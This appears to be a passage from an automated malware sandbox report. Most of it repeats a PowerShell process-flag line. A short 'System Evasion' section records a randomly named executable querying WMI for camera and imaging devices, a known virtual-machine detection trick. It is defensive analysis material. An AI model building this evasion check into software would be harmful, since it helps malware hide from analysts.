Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
